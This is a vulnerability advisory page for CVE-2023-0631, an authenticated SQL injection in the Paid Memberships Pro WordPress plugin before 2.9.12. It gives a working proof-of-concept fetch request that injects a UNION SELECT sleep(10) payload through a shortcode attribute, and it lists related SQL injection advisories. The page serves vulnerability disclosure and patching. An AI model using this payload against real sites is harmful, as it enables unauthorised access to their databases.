Paid Memberships Pro < 2.9.12 – Subscriber+ SQL Injection | CVE 2023-0631 | Plugin Vulnerabilities

Description

The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.

Proof of Concept

While logged in as a subscriber, send the following request:

(await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[membership delay="Y" levels="(-1)) UNION SELECT sleep(10)-- ,L"]'})).text()

If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.

Affects Plugins

paid-memberships-pro

Fixed in 2.9.12

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Marc Montpas

Submitter

Marc Montpas

Submitter website

https://wpscan.com

Submitter twitter

Verified

Yes

WPVDB ID

19ef92fd-b493-4488-91f0-e6ba51362f79

Timeline

Publicly Published

2023-02-27 (about 2 years ago)

Added

2023-02-27 (about 2 years ago)

Last Updated

2023-02-27 (about 2 years ago)

Other

Published

Title

Published

2025-06-16

Title

Blog2Social < 8.4.5 - Authenticated (Subscriber+) SQL Injection via `prgSortPostType` Parameter

Published

2021-07-23

Title

Alipay <= 3.7.2 - Authenticated SQL Injection

Published

2025-07-01

Title

LifterLMS < 8.0.7 - Unauthenticated SQL Injection

Published

2024-04-03

Title

REHub Framework < 19.6.2 - Authenticated (Subscriber+) SQL Injection

Published

2022-01-04

Title

Futurio Extra < 1.6.3 - Authenticated SQL Injection